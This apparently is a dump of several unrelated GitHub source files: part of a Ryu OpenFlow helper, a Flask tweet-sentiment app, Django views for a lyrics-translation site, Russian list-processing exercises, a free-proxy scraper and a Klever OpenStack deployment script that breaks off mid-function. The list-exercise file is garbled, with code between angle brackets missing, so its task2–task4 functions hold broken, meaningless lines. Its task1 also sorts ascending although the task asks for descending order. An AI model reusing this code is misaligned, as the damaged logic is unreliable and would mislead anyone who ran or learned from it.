= UTIL.ofp_group_from_user(group.get('group_id', 0))\n\n buckets = []\n for bucket in group.get('buckets', []):\n weight = int(bucket.get('weight', 0))\n watch_port = int(bucket.get('watch_port', dp.ofproto.OFPP_ANY))\n watch_group = int(bucket.get('watch_group', dp.ofproto.OFPG_ANY))\n actions = []\n for dic in bucket.get('actions', []):\n action = to_action(dp, dic)\n if action is not None:\n actions.append(action)\n b = dp.ofproto_parser.OFPBucket(\n weight, watch_port, watch_group, actions)\n buckets.append(b)\n\n group_mod = dp.ofproto_parser.OFPGroupMod(\n dp, cmd, group_type, group_id, buckets)\n\n dp.send_msg(group_mod)\n\n\ndef mod_port_behavior(dp, port_config):\n ofp = dp.ofproto\n parser = dp.ofproto_parser\n port_no = UTIL.ofp_port_from_user(port_config.get('port_no', 0))\n hw_addr = str(port_config.get('hw_addr'))\n config = int(port_config.get('config', 0))\n mask = int(port_config.get('mask', 0))\n properties = port_config.get('properties')\n\n prop = []\n for p in properties:\n type_ = UTIL.ofp_port_mod_prop_type_from_user(p['type'])\n length = None\n if type_ == ofp.OFPPDPT_ETHERNET:\n advertise = UTIL.ofp_port_features_from_user(p['advertise'])\n m = parser.OFPPortModPropEthernet(type_, length,\n advertise)\n elif type_ == ofp.OFPPDPT_OPTICAL:\n m = parser.OFPPortModPropOptical(type_, length,\n p['configure'],\n p['freq_lmda'],\n p['fl_offset'],\n p['grid_span'],\n p['tx_pwr'])\n elif type_ == ofp.OFPPDPT_EXPERIMENTER:\n m = parser.OFPPortModPropExperimenter(type_, length,\n p['experimenter'],\n p['exp_type'],\n p['data'])\n else:\n LOG.error('Unknown port desc prop type: %s', type_)\n continue\n prop.append(m)\n\n port_mod = dp.ofproto_parser.OFPPortMod(\n dp, port_no, hw_addr, config, mask, prop)\n\n dp.send_msg(port_mod)\n\n\ndef send_experimenter(dp, exp):\n experimenter = exp.get('experimenter', 0)\n exp_type = exp.get('exp_type', 0)\n data_type = exp.get('data_type', 'ascii')\n if data_type != 'ascii' and data_type != 'base64':\n LOG.error('Unknown data type: %s', data_type)\n data = exp.get('data', '')\n if data_type == 'base64':\n data = base64.b64decode(data)\n\n expmsg = dp.ofproto_parser.OFPExperimenter(\n dp, experimenter, exp_type, data)\n\n dp.send_msg(expmsg)\n","repo_name":"pascals-ager/OpenvSwitch-Event-Processing","sub_path":"ryu-4.0/ryu/lib/ofctl_v1_4.py","file_name":"ofctl_v1_4.py","file_ext":"py","file_size_in_byte":33064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"24860126052","text":"from flask import Flask, redirect, render_template, request, url_for\n\nimport helpers\nimport os\nimport sys\nfrom analyzer import Analyzer\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/search\")\ndef search():\n\n \n screen_name = request.args.get(\"screen_name\", \"\").lstrip(\"@\")\n if not screen_name:\n return redirect(url_for(\"index\"))\n\n \n tweets = helpers.get_user_timeline(screen_name)\n\n \n positives = os.path.join(sys.path[0], \"positive-words.txt\")\n negatives = os.path.join(sys.path[0], \"negative-words.txt\")\n\n \n analyzer = Analyzer(positives, negatives)\n \n \n score = 0\n \n \n total_score = 0\n positive, negative, neutral = 0.0, 0.0, 0.0\n \n \n if tweets != None:\n for i in range(100):\n if i >= len(tweets):\n break\n score = analyzer.analyze(tweets[i])\n total_score += 1\n if score > 0.0:\n positive += 1\n elif score < 0.0:\n negative += 1\n else:\n neutral += 1\n \n \n if total_score == 0:\n neutral = 100\n else:\n if positive != 0:\n positive = (1.0 * positive / total_score) * 100\n if negative != 0:\n negative = (1.0 * negative / total_score) * 100\n if neutral != 0:\n neutral = (1.0 * neutral / total_score) * 100\n \n \n chart = helpers.chart(positive, negative, neutral)\n \n \n return render_template(\"search.html\", chart=chart, screen_name=screen_name)","repo_name":"fabricetiennette/cs50","sub_path":"pset6/sentiments/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2000323207","text":"from datetime import datetime\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import EmptyPage, PageNotAnInteger\nfrom django.db import models\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse\n\nfrom thiamsu.forms import SongReadonlyForm, TranslationFormSet, UserFavoriteSongForm\nfrom thiamsu.models.headline import Headline\nfrom thiamsu.models.privacy_policy import PrivacyPolicy\nfrom thiamsu.models.song import Song\nfrom thiamsu.models.translation import Translation\nfrom thiamsu.paginator import Paginator\n\n\ndef _sorted_songs(request, songs):\n sorting_type = request.GET.get(\"sort\", \"original\")\n\n if sorting_type == \"original\":\n songs = songs.order_by(\"-original_title\")\n elif sorting_type == \"tailo\":\n songs = songs.order_by(\"tailo_title\")\n else: # progress\n songs = songs.order_by(\"-progress\")\n\n return songs\n\n\ndef _paginated_songs(request, songs):\n page = request.GET.get(\"page\", 1)\n\n paginator = Paginator(songs, settings.PAGINATION_MAX_ITMES_PER_PAGE)\n try:\n songs = paginator.page(page)\n except PageNotAnInteger:\n songs = paginator.page(1)\n except EmptyPage:\n songs = paginator.page(paginator.num_pages)\n\n return songs\n\n\ndef home(request):\n songs = Song.objects\n\n now = datetime.now()\n try:\n headline = Headline.objects.filter(\n start_time__lte=now, end_time__gte=now\n ).latest(\"start_time\")\n except ObjectDoesNotExist:\n headline = None\n\n songs = _sorted_songs(request, songs)\n songs = _paginated_songs(request, songs)\n\n return render(\n request,\n \"thiamsu/song_list.html\",\n {\"songs\": songs, \"headline\": headline.song if headline else None},\n )\n\n\ndef search(request):\n query = request.GET.get(\"keyword\", \"\")\n if query == \"\":\n return redirect(\"/\")\n\n query_type = request.GET.get(\"type\", \"\")\n if query_type not in [\"song-title\", \"performer\"]:\n return redirect(\"/\")\n\n if query_type == \"song-title\":\n songs = Song.search_title(query)\n else: # performer\n songs = Song.search_performer(query)\n\n songs = _sorted_songs(request, songs)\n songs = _paginated_songs(request, songs)\n\n return render(request, \"thiamsu/song_list.html\", {\"query\": query, \"songs\": songs})\n\n\ndef api_user_favorite_song(request):\n if request.method != \"POST\":\n return redirect(\"/\")\n\n form = UserFavoriteSongForm(data=request.POST)\n\n if not form.is_valid():\n return redirect(\"/\")\n\n method = form.cleaned_data[\"method\"]\n song_id = form.cleaned_data[\"song_id\"]\n if method == \"POST\":\n request.user.profile.favorite_songs.add(song_id)\n elif method == \"DELETE\":\n request.user.profile.favorite_songs.remove(song_id)\n return redirect(\"/song/%s\" % song_id)\n\n\ndef update_song(request, id):\n if request.method != \"POST\":\n return redirect(\"/\")\n try:\n song = Song.objects.get(id=id)\n except ObjectDoesNotExist:\n return redirect(\"/\")\n\n form = SongReadonlyForm(data=request.POST)\n\n if form.is_valid():\n song.readonly = form.cleaned_data[\"readonly\"]\n song.save()\n\n if song.readonly:\n song.create_hanlo_lyrics()\n\n return redirect(\"/song/%s\" % id)\n else:\n return redirect(\"/\")\n\n\ndef song_detail(request, id):\n if request.method == \"POST\":\n return update_song(request, id)\n try:\n song = Song.objects.get(id=id)\n except ObjectDoesNotExist:\n return redirect(\"/\")\n\n def get_contributors(lang):\n contributors = (\n Translation.objects.filter(song=song)\n .filter(lang=lang)\n .values(\"contributor\")\n .annotate(count=models.Count(\"contributor\"))\n )\n return sorted(contributors, key=lambda c: c[\"count\"], reverse=True)\n\n def get_full_name(contributors):\n contributors_with_full_name = [\n {\n \"username\": User.objects.get(id=c[\"contributor\"]).get_full_name(),\n \"count\": c[\"count\"],\n }\n for c in contributors\n if c[\"contributor\"]\n ]\n return contributors_with_full_name\n\n def format_contributors(contributors):\n return \" \".join([\"{username} ({count})\".format(**c) for c in contributors])\n\n is_favorite_song = (\n request.user.is_authenticated\n and request.user.profile.favorite_songs.filter(id=song.id).exists()\n )\n\n lyrics = song.get_lyrics_with_translations()\n counters = {\"tailo\": 0, \"hanzi\": 0, \"hanlo\": 0}\n for l in lyrics:\n counters[\"hanlo\"] += 1 if l.get(\"hanlo\", None) is not None else 0\n counters[\"tailo\"] += 1 if l.get(\"tailo\", None) is not None else 0\n counters[\"hanzi\"] += 1 if l.get(\"hanzi\", None) is not None else 0\n\n lyric_visiblity = {}\n if counters[\"hanlo\"] == len(lyrics):\n lyric_visiblity[\"hanlo\"] = True\n elif counters[\"tailo\"] == len(lyrics):\n lyric_visiblity[\"tailo\"] = True\n elif counters[\"hanzi\"] == len(lyrics):\n lyric_visiblity[\"hanzi\"] = True\n\n return render(\n request,\n \"thiamsu/song_detail.html\",\n {\n \"full_url\": request.build_absolute_uri(),\n \"song\": song,\n \"contributors\": {\n \"tailo\": format_contributors(get_full_name(get_contributors(\"tailo\"))),\n \"hanzi\": format_contributors(get_full_name(get_contributors(\"hanzi\"))),\n },\n \"lyrics\": lyrics,\n \"lyric_visiblity\": lyric_visiblity,\n \"new_words\": song.get_new_words(),\n \"readonly_form\": SongReadonlyForm(initial={\"readonly\": song.readonly}),\n \"is_favorite_song\": is_favorite_song,\n \"favorite_form\": UserFavoriteSongForm(\n initial={\n \"method\": \"DELETE\" if is_favorite_song else \"POST\",\n \"song_id\": song.id,\n }\n ),\n },\n )\n\n\ndef song_edit(request, id):\n try:\n song = Song.objects.get(id=id)\n except ObjectDoesNotExist:\n return redirect(\"/\")\n if song.readonly:\n return redirect(\"/song/%s\" % id)\n\n lyrics = song.get_lyrics_with_translations()\n\n forms = {}\n for lang in [\"tailo\", \"hanzi\"]:\n forms[lang] = TranslationFormSet(\n original_lyrics=[\n lyric[\"original\"] for lyric in lyrics if lyric[\"original\"]\n ],\n initial=[\n {\"line_no\": line_no, \"lang\": lang, \"content\": lyric[lang]}\n for line_no, lyric in enumerate(lyrics)\n if lyric[\"original\"]\n ],\n )\n\n return render(request, \"thiamsu/song_edit.html\", {\"song\": song, \"forms\": forms})\n\n\ndef song_translation_post(request, id):\n if request.method != \"POST\":\n return redirect(\"/\")\n try:\n song = Song.objects.get(id=id)\n except ObjectDoesNotExist:\n return redirect(\"/\")\n\n formset = TranslationFormSet(data=request.POST)\n for form in formset:\n # validate data\n if not form.is_valid():\n continue\n if not form.cleaned_data[\"content\"]:\n continue\n\n # compare with current\n update_translation = False\n try:\n current_translation = (\n Translation.objects.filter(song=song)\n .filter(line_no=form.cleaned_data[\"line_no\"])\n .filter(lang=form.cleaned_data[\"lang\"])\n .latest(\"created_at\")\n )\n except ObjectDoesNotExist:\n update_translation = True\n else:\n if form.cleaned_data[\"content\"] != current_translation.content:\n update_translation = True\n\n # update\n if update_translation is True:\n new_translation = Translation(\n song=song,\n line_no=form.cleaned_data[\"line_no\"],\n lang=form.cleaned_data[\"lang\"],\n content=form.cleaned_data[\"content\"],\n contributor=request.user if request.user.is_authenticated else None,\n )\n new_translation.save()\n\n return HttpResponseRedirect(reverse(\"song_detail\", kwargs={\"id\": id}))\n\n\ndef get_top10_contributors(type_):\n assert type_ in [\"lines\", \"songs\"]\n contributors = []\n for user in User.objects.order_by(\n \"-profile__contribution_of_%s\" % type_, \"-profile__last_contribution_time\"\n )[:10]:\n if user.profile.__dict__[\"contribution_of_%s\" % type_] == 0:\n break\n contributors.append(\n {\n \"id\": user.id,\n \"username\": user.get_full_name(),\n \"avatar_url\": user.profile.avatar_url,\n \"count\": user.profile.__dict__[\"contribution_of_%s\" % type_],\n }\n )\n return contributors\n\n\ndef get_contribution_rank(user_id, contribution_type):\n assert contribution_type in [\"songs\", \"lines\"]\n contributors = get_top10_contributors(contribution_type)\n try:\n rank = [u[\"id\"] for u in contributors if u[\"count\"] > 0].index(user_id) + 1\n except ValueError:\n rank = 0\n return rank\n\n\ndef chart(request):\n return render(\n request,\n \"thiamsu/chart.html\",\n {\n \"top_song_contributors\": get_top10_contributors(\"songs\"),\n \"top_line_contributors\": get_top10_contributors(\"lines\"),\n },\n )\n\n\ndef user_profile(request, id):\n def get_contributions(user):\n latest_translations = (\n Translation.objects.filter(contributor=user)\n .values(\"song\")\n .annotate(contribute_at=models.Max(\"created_at\"))\n )\n contribute_time = {t[\"song\"]: t[\"contribute_at\"] for t in latest_translations}\n songs = list(Song.objects.filter(id__in=contribute_time.keys()))\n songs = sorted(songs, key=lambda s: contribute_time[s.id], reverse=True)\n return songs\n\n try:\n viewee = User.objects.get(id=id)\n except ObjectDoesNotExist:\n return redirect(\"/\")\n\n favorites = viewee.profile.favorite_songs.all()\n contributions = get_contributions(viewee)\n\n kind = request.GET.get(\"kind\", \"favs\")\n if kind == \"favs\":\n songs = favorites\n elif kind == \"contribs\":\n songs = contributions\n else:\n return redirect(reverse(user_profile, kwargs={\"id\": viewee.id}))\n\n songs = _paginated_songs(request, songs)\n\n return render(\n request,\n \"thiamsu/user_profile.html\",\n {\n \"full_url\": request.build_absolute_uri(),\n \"viewee\": viewee,\n \"kind\": kind,\n \"favorite_count\": len(favorites),\n \"contribution_count\": len(contributions),\n \"songs\": songs,\n \"rank_or_contributions_by_songs\": get_contribution_rank(int(id), \"songs\"),\n \"rank_or_contributions_by_lines\": get_contribution_rank(int(id), \"lines\"),\n },\n )\n\n\ndef privacy_policy(request):\n policy = PrivacyPolicy.get_solo()\n return render(request, \"thiamsu/privacy_policy.html\", {\"privacy_policy\": policy})\n\n\ndef account_deletion(request):\n return render(request, \"thiamsu/account_deletion.html\")\n","repo_name":"LKKTGB/kuasu","sub_path":"services/backend/thiamsu/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11310,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"39956954817","text":"from cmath import nan\nimport utils\n\ndef Task_Task2list():\n print(\n '''\n Task2. Обработка списков. Для списков, заполненных случайными числами в диапазоне значений от –20 до 20, выводите сформированные списки до и после обработки по заданию.\n\\t- Сформируйте список list_c. Увеличить все нечетные числа, содержащиеся в списке, на исходное значение последнего нечетного числа. Если нечетные числа в списке отсутствуют, то оставить список без изменений. Вывести упорядоченную по убыванию копию списка \n\\t- Сформируйте список list_c. Возвести в квадрат все его локальные минимумы (то есть числа, меньшие своих соседей)\n\\t- Сформируйте список list_c. Удалить из списка все одинаковые элементы, оставив их первые вхождения\n\\t- Сформируйте список list_c. Вставить элемент с нулевым значением перед минимальным и после максимального элемента списка\n '''\n )\n\ndef Run_Task2list():\n my_list = []\n for r in range(20):\n my_list.append(0)\n\n utils.fill_list(my_list,-20,20)\n\n print(\"Task1\")\n tmp_list = list(my_list)\n utils.show_list(tmp_list,\"Before Task1\")\n utils.show_list(task1(tmp_list),\"After Task1\")\n\n print(\"Task2\")\n tmp_list = list(my_list)\n utils.show_list(tmp_list,\"Before Task2\")\n utils.show_list(task2(tmp_list),\"After Task2\")\n\n print(\"Task3\")\n tmp_list = list(my_list)\n utils.show_list(tmp_list,\"Before Task3\")\n utils.show_list(task3(tmp_list),\"After Task3\")\n\n print(\"Task4\")\n tmp_list = list(my_list)\n utils.show_list(tmp_list,\"Before Task4\")\n utils.show_list(task4(tmp_list),\"After Task4\")\n\ndef task1(_list:list):\n try:\n pass\n #1\n delta = 0\n _list.reverse()\n for item in _list:\n if(item%2==1):\n delta = item\n break\n\n cnt = len(_list)\n for i in range(0, cnt):\n if(_list[i]%2==1):\n _list[i]+=delta\n\n #2\n return sorted(_list)\n\n except Exception:\n print(\"Общее исключение\")\n\ndef task2(_list):\n try:\n pass\n\n answer_list = list(_list)\n cnt = len(_list)\n index=-1\n for i in range(0, cnt-1):\n if(i>0 & (i+1)!=cnt ):\n\n left_index=i-1;\n right_index=i+1;\n if(left_index==_list[i]):\n left_index = i-2\n while(left_index>0):\n if(_list[left_index]==_list[i]):\n left_index-=1\n else:\n break\n if(_list[i]==right_index):\n right_index = i+2\n while(right_index_list[i]<_list[right_index]):\n if(index!=-1):\n answer_list[index]*=answer_list[index]\n index = i\n\n if(index!=-1):\n answer_list[index]*=answer_list[index]\n \n return answer_list\n\n except Exception as ex:\n print(\"Общее исключение\")\n print(ex)\n\ndef task3(_list:list):\n try:\n pass\n cnt = len(_list)\n i=0\n while(i_list[i]):\n # min_index=i\n # if(_list[max_index]<_list[i]):\n # max_index=i\n\n min_index = _list.index(min(_list))\n max_index = _list.index(max(_list))\n\n if(min_index>max_index):\n _list.insert(min_index,0)\n if(max_index 5:\n ip = i.xpath('td[2]/text()').extract_first()\n port = i.xpath('td[3]/text()').extract_first()\n add.append((ip, port))\n\n self.write_ip(add)\n self.page += 1\n self.again_new_request()\n\n def again_new_request(self):\n if self.page == 2:\n self.xici = self.xici + str(self.page)\n elif self.page == 10:\n sys.exit()\n elif self.page > 2:\n self.xici = self.xici[:-1] + str(self.page)\n print(self.xici)\n self.send_requset()\n\n def write_ip(self, add):\n for index, adder in enumerate(add):\n if self.page == 1 and index == 0:\n write_str = 'w'\n else:\n write_str = 'a+'\n ip, port = adder\n with open('add.text', write_str) as f:\n f.write(ip + ':' + port + '\\n')\n\n\na = GetIp()\na.send_requset()\n","repo_name":"zhoulin753/spider_weibo","sub_path":"weibo/weibo/getip.py","file_name":"getip.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32272843386","text":"import errno\nimport json\nimport os\nimport re\nimport shlex\nimport shutil\nimport sys\nimport tempfile\n\nfrom setuptools_scm import get_version\n\nfrom keystoneauth1.identity import v2\nfrom keystoneauth1 import session\nimport glanceclient.client\nimport keystoneauth1.exceptions\nimport novaclient.client\nimport novaclient.exceptions\nimport neutronclient.v2_0.client\nimport cinderclient.client\n\nfrom klever.deploys.openstack.instance import OSInstance\nfrom klever.deploys.openstack.ssh import SSH\nfrom klever.deploys.utils import Cd, execute_cmd, get_password, install_klever_addons, install_klever_build_bases\n\n\nclass OSClients:\n def __init__(self, logger, sess):\n self.logger = logger\n\n self.logger.info('Initialize OpenStack clients')\n\n self.glance = glanceclient.client.Client('1', session=sess)\n self.nova = novaclient.client.Client('2', session=sess)\n self.neutron = neutronclient.v2_0.client.Client(session=sess)\n self.cinder = cinderclient.client.Client('2', session=sess)\n\n\nclass OSEntity:\n def __init__(self, args, logger):\n self.args = args\n self.logger = logger\n\n self.kind = args.entity\n\n self.clients = self.__connect()\n\n def __getattr__(self, name):\n self.logger.error('Action \"{0}\" is not supported for \"{1}\"'.format(name, self.kind))\n sys.exit(errno.ENOSYS)\n\n def _get_base_image(self, base_image_name):\n self.logger.info('Get base image matching \"{0}\"'.format(base_image_name))\n\n base_images = self._get_images(base_image_name)\n\n if len(base_images) == 0:\n self.logger.error('There are no base images matching \"{0}\"'.format(base_image_name))\n sys.exit(errno.EINVAL)\n\n if len(base_images) > 1:\n self.logger.error('There are several base images matching \"{0}\", please, resolve this conflict manually'\n .format(base_image_name))\n sys.exit(errno.EINVAL)\n\n return base_images[0]\n\n def _get_images(self, image_name):\n images = []\n\n for image in self.clients.glance.images.list():\n if re.fullmatch(image_name, image.name):\n images.append(image)\n\n return images\n\n def __connect(self):\n self.logger.info('Sign in to OpenStack')\n auth = v2.Password(**{\n 'auth_url': self.args.os_auth_url,\n 'username': self.args.os_username,\n 'password': get_password(self.logger, 'OpenStack password for authentication: '),\n 'tenant_name': self.args.os_tenant_name\n })\n sess = session.Session(auth=auth)\n\n try:\n # Perform a request to OpenStack in order to check the correctness of provided username and password.\n sess.get_auth_headers()\n except keystoneauth1.exceptions.http.Unauthorized:\n self.logger.error('Sign in failed: invalid username or password')\n sys.exit(errno.EACCES)\n\n return OSClients(self.logger, sess)\n\n\nclass CopyDeployConfAndSrcs:\n def __init__(self, args, logger, ssh, action, is_remove_srcs=False):\n self.args = args\n self.logger = logger\n self.ssh = ssh\n self.action = action\n self.is_remove_srcs = is_remove_srcs\n\n def __enter__(self):\n self.logger.info('Copy deployment configuration file')\n self.ssh.sftp_put(self.args.deployment_configuration_file, 'klever.json')\n\n self.logger.info('Copy sources that can be used during {0}'.format(self.action))\n with Cd(self.args.source_directory):\n try:\n execute_cmd(self.logger, 'git', 'clone', '.', '__klever')\n # Store Klever version to dedicated file and remove directory \".git\" since it occupies too much space.\n with Cd('__klever'):\n version = get_version()\n with open('version', 'w') as fp:\n fp.write(version)\n execute_cmd(self.logger, 'rm', '-rf', '__klever/.git')\n execute_cmd(self.logger, 'tar', '-C', '__klever', '-cf', '__klever.tar.gz', '.')\n self.ssh.sftp_put('__klever.tar.gz', 'klever/klever.tar.gz')\n self.ssh.execute_cmd('tar --warning no-unknown-keyword -C klever -xf klever/klever.tar.gz')\n self.ssh.execute_cmd('rm klever/klever.tar.gz')\n finally:\n if os.path.exists('__klever'):\n shutil.rmtree('__klever')\n if os.path.exists('__klever.tar.gz'):\n os.remove('__klever.tar.gz')\n\n def __exit__(self, etype, value, traceback):\n if self.is_remove_srcs:\n self.logger.info('Remove sources used during {0}'.format(self.action))\n self.ssh.execute_cmd('sudo rm -r klever')\n\n self.logger.info('Remove deployment configuration file')\n self.ssh.sftp.remove('klever.json')\n\n\nclass OSKleverBaseImage(OSEntity):\n def __init__(self, args, logger):\n super().__init__(args, logger)\n\n self.name = self.args.name\n self.ssh = None\n\n def show(self):\n klever_base_image_name = self.name if self.name else 'Klever Base.*'\n klever_base_images = self._get_images(klever_base_image_name)\n\n if len(klever_base_images) == 1:\n self.logger.info('There is Klever base image \"{0}\" (status: {1}) matching \"{2}\"'\n .format(klever_base_images[0].name, klever_base_images[0].status, klever_base_image_name))\n elif len(klever_base_images) > 1:\n self.logger.info('There are {0} Klever base images matching \"{1}\":\\n* {2}'\n .format(len(klever_base_images), klever_base_image_name,\n '\\n* '.join(['\"{0}\" (status: {1})'.format(image.name, image.status)\n for image in klever_base_images])))\n else:\n self.logger.info('There are no Klever base images matching \"{0}\"'.format(klever_base_image_name))\n\n def create(self):\n klever_base_image_name = self.name if self.name else 'Klever Base'\n klever_base_images = self._get_images(klever_base_image_name)\n base_image = self._get_base_image(self.args.base_image)\n\n if len(klever_base_images) > 1:\n self.logger.error(\n 'There are several Klever base images matching \"{0}\", please, rename the appropriate ones manually'\n .format(klever_base_image_name))\n sys.exit(errno.EINVAL)\n\n if len(klever_base_images) == 1:\n i = 0\n # TODO: this does not work as expected as the only renaming is performed.\n while True:\n deprecated_klever_base_image_name = klever_base_image_name + \\\n ' (deprecated{0})'.format(' ' + str(i) if i else '')\n deprecated_klever_base_images = self._get_images(deprecated_klever_base_image_name)\n\n if deprecated_klever_base_images:\n i += 1\n else:\n self.logger.info('Rename previous Klever base image to \"{0}\"'\n .format(deprecated_klever_base_image_name))\n self.clients.glance.images.update(klever_base_images[0].id, name=deprecated_klever_base_image_name)\n break\n\n with OSInstance(logger=self.logger, clients=self.clients, args=self.args, name=klever_base_image_name,\n base_image=base_image, flavor_name='crawler.mini') as instance:\n with SSH(args=self.args, logger=self.logger, name=klever_base_image_name,\n floating_ip=instance.floating_ip['floating_ip_address']) as self.ssh:\n self.logger.info('Create deployment directory')\n self.ssh.execute_cmd('mkdir klever-inst')\n with CopyDeployConfAndSrcs(self.args, self.logger, self.ssh, 'creation of Klever base image', True):\n # Install system packages.\n self.ssh.execute_cmd(\n 'sudo PYTHONPATH=klever klever/klever/deploys/install_deps.py --non-interactive')\n # Install Klever Python.\n self.ssh.execute_cmd('wget https://forge.ispras.ru/attachments/download/7251/python-3.7.6.tar.xz')\n self.ssh.execute_cmd('sudo tar -C / -xf python-3.7.6.tar.xz')\n self.ssh.execute_cmd('rm python-3.7.6.tar.xz')\n # Install Klever Python packages.\n self.ssh.execute_cmd(\n 'sudo /usr/local/python3-klever/bin/python3 -m pip install -r klever/requirements.txt')\n\n instance.create_image()\n\n def remove(self):\n klever_base_image_name = self.name if self.name else 'Klever Base'\n klever_base_images = self._get_images(klever_base_image_name)\n\n if len(klever_base_images) == 0:\n self.logger.error('There are no Klever base images matching \"{0}\"'.format(klever_base_image_name))\n sys.exit(errno.EINVAL)\n\n if len(klever_base_images) > 1:\n self.logger.error(\n 'There are several Klever base images matching \"{0}\", please, remove the appropriate ones manually'\n .format(self.name))\n sys.exit(errno.EINVAL)\n\n self.clients.glance.images.delete(klever_base_images[0].id)\n\n\nclass OSKleverInstance(OSEntity):\n def __init__(self, args, logger):\n super().__init__(args, logger)\n self.ssh = None\n\n def _cmd_fn(self, *args):\n self.ssh.execute_cmd('sudo ' + ' '.join([shlex.quote(arg) for arg in args]))\n\n def _install_fn(self, src, dst, allow_symlink=False, ignore=None):\n # To avoid warnings. This parameter is actually used in corresponding function in deploys/local/local.py.\n del allow_symlink\n self.logger.info('Install \"{0}\" to \"{1}\"'.format(src, dst))\n self.ssh.sftp_put(src, dst, ignore=ignore)\n\n def _install_or_update_deps(self):\n self.ssh.execute_cmd('sudo PYTHONPATH=klever klever/klever/deploys/install_deps.py --non-interactive' +\n (' --update-packages' if self.args.update_packages else ''))\n # This version of PIP does not spend much time during processing files that are not required for installation,\n # but that are stored within Klever source tree, e.g. within \"bridge/media\".\n self.ssh.execute_cmd('sudo /usr/local/python3-klever/bin/python3 -m pip install pip==20.1')\n if self.args.update_python3_packages:\n self.ssh.execute_cmd(\n 'sudo /usr/local/python3-klever/bin/python3 -m pip install --upgrade -r klever/requirements.txt')\n\n def _create(self, is_dev):\n base_image = self._get_base_image(self.args.klever_base_image)\n\n klever_instances = self._get_instances(self.name)\n\n if klever_instances:\n self.logger.error('Klever instance(s) matching \"{0}\" already exists'.format(self.name))\n sys.exit(errno.EINVAL)\n\n with OSInstance(logger=self.logger, clients=self.clients, args=self.args, name=self.name,\n base_image=base_image, flavor_name=self.args.flavor) as self.instance:\n with SSH(args=self.args, logger=self.logger, name=self.name,\n floating_ip=self.instance.floating_ip['floating_ip_address']) as self.ssh:\n # TODO: looks like deploys/local/local.py too much.\n with tempfile.NamedTemporaryFile('w', encoding='utf8') as fp:\n # TODO: avoid using \"/home/debian\" - rename ssh username to instance username and add option to provide instance user home directory.\n fp.write('KLEVER_SOURCE_DIRECTORY=/home/debian/klever\\n')\n fp.write('KLEVER_DEPLOYMENT_DIRECTORY=/home/debian/klever-inst\\n')\n fp.write('KLEVER_DATA_DIR=\"/home/debian/klever-inst/klever/build bases\"\\n')\n # TODO: make it depending on the number of CPUs.\n fp.write(\"KLEVER_WORKERS=2\\n\")\n fp.write(\"KLEVER_PYTHON_BIN_DIR=/usr/local/python3-klever/bin\\n\")\n fp.write(\"KLEVER_PYTHON=/usr/local/python3-klever/bin/python3\\n\")\n fp.flush()\n self.ssh.sftp_put(fp.name, '/etc/default/klever', sudo=True, directory=os.path.sep)\n\n self.logger.info('Install systemd configuration files and services')\n self.ssh.execute_cmd('sudo mkdir -p /etc/conf.d')\n for dirpath, _, filenames in os.walk(os.path.join(os.path.dirname(__file__), os.path.pardir,\n 'systemd', 'conf.d')):\n for filename in filenames:\n self.ssh.sftp_put(os.path.join(dirpath, filename), os.path.join('/etc/conf.d', filename),\n sudo=True, directory=os.path.sep)\n\n for dirpath, _, filenames in os.walk(os.path.join(os.path.dirname(__file__), os.path.pardir,\n 'systemd', 'tmpfiles.d')):\n for filename in filenames:\n self.ssh.sftp_put(os.path.join(dirpath, filename), os.path.join('/etc/tmpfiles.d', filename),\n sudo=True, directory=os.path.sep)\n\n self.ssh.execute_cmd('sudo systemd-tmpfiles --create')\n\n for dirpath, _, filenames in os.walk(os.path.join(os.path.dirname(__file__), os.path.pardir,\n 'systemd', 'system')):\n for filename in filenames:\n self.ssh.sftp_put(os.path.join(dirpath, filename),\n os.path.join('/etc/systemd/system', filename),\n sudo=True, directory=os.path.sep)\n\n with CopyDeployConfAndSrcs(self.args, self.logger, self.ssh, 'creation of Klever instance'):\n self._install_or_update_deps()\n self.ssh.execute_cmd('sudo PYTHONPATH=klever klever/klever/deploys/prepare_env.py')\n self._create_or_update(is_dev)\n\n # Preserve instance if everything above went well.\n self.instance.keep_on_exit = True\n\n def _create_or_update(self, is_dev):\n with open(self.args.deployment_configuration_file) as fp:\n deploy_conf = json.load(fp)\n\n # Install/update Klever.\n self.ssh.execute_cmd(\n 'sudo /usr/local/python3-klever/bin/python3 -m pip install --upgrade -r klever/requirements.txt ./klever')\n\n # TODO: rename everywhere previous deployment information with deployment information since during deployment it is updated step by step.\n with self.ssh.sftp.file('klever-inst/klever.json') as fp:\n prev_deploy_info = json.loads(fp.read().decode('utf8'))\n\n def dump_cur_deploy_info(cur_deploy_info):\n with tempfile.NamedTemporaryFile('w', encoding='utf8') as nested_fp:\n json.dump(cur_deploy_info, nested_fp, sort_keys=True, indent=4)\n nested_fp.flush()\n self.ssh.execute_cmd('sudo rm klever-inst/klever.json')\n self.ssh.sftp_put(nested_fp.name, 'klever-inst/klever.json', sudo=True)\n\n install_klever_addons(self.logger, 'klever', 'klever-inst', deploy_conf, prev_deploy_info, self._cmd_fn,\n self._install_fn, dump_cur_deploy_info)\n install_klever_build_bases(self.logger, 'klever', 'klever-inst/klever', deploy_conf, self._cmd_fn,\n self._install_fn)\n # This script requires Klever Python since it executes manage.py commands.\n self.ssh.execute_cmd('sudo PYTHONPATH=klever /usr/local/python3-klever/bin/python3 '\n 'klever/klever/deploys/install_klever_bridge.py{0}'\n .format(' --development' if is_dev else ''))\n self.ssh.execute_cmd('sudo PYTHONPATH=klever klever/klever/deploys/configure_controller_and_schedulers.py{0}'\n .format(' --development' if is_dev else ''))\n\n def _get_instance(self, instance_name):\n self.logger.info('Get instance matching \"{0}\"'.format(instance_name))\n\n instances = self._get_instances(instance_name)\n\n if len(instances) == 0:\n self.logger.error('There are no intances matching \"{0}\"'.format(instance_name))\n sys.exit(errno.EINVAL)\n\n if len(instances) > 